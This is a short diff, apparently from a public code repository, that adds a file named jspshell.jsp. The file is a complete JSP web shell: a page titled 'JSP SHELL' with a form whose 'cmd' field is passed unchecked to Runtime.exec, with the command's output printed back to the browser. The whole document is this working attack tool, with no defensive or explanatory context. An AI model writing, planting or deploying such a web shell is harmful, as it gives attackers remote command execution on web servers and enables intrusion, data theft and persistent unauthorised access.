TheBinitGhimire
diff --git a/‎jspshell.jsp‎
Lines changed: 32 additions & 0 deletions b/‎jspshell.jsp‎
Lines changed: 32 additions & 0 deletions
@@ -0,0 +1,32 @@
+<%@ page
+import="java.util.*,java.io.*"%>
+<%
+%>
+<HTML>
+<BODY>
+<H3>JSP SHELL</H3>
+<FORM METHOD="GET" NAME="myform"
+ACTION="">
+<INPUT TYPE="text" NAME="cmd">
+<INPUT TYPE="submit" VALUE="Execute">
+</FORM>
+<PRE>
+<%
+if (request.getParameter("cmd") != null) {
+out.println("Command: " +
+request.getParameter("cmd") + "<BR>");
+Process p =
+Runtime.getRuntime().exec(request.getParameter("cmd"));
+OutputStream os = p.getOutputStream();
+InputStream in = p.getInputStream();
+DataInputStream dis = new DataInputStream(in);
+String disr = dis.readLine();
+while ( disr != null ) {
+out.println(disr);
+disr = dis.readLine();
+}
+}
+%>
+</PRE>
+</BODY>
+</HTML>